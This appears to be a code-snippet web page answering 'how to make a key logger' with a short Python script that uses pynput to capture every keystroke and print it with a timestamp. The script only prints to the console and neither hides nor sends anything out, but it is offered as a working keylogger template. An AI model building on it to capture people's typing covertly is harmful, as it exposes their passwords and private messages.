Search
 
SCRIPT & CODE EXAMPLE
 
CODE EXAMPLE FOR PYTHON

how to make a key logger

from pynput.keyboard import Listener
from datetime import datetime

def on_press(key):
    key = str(key).replace("Key.", "").replace("'", "")

    if len(key) > 1:
        key = key.upper()

    print (datetime.now().strftime("%Y-%m-%d %H:%M:%S") + " " + key)

with Listener(on_press=on_press) as listener:
    listener.join()
 
PREVIOUS NEXT
Tagged: #key #logger
ADD COMMENT
Topic
Name
5+6 =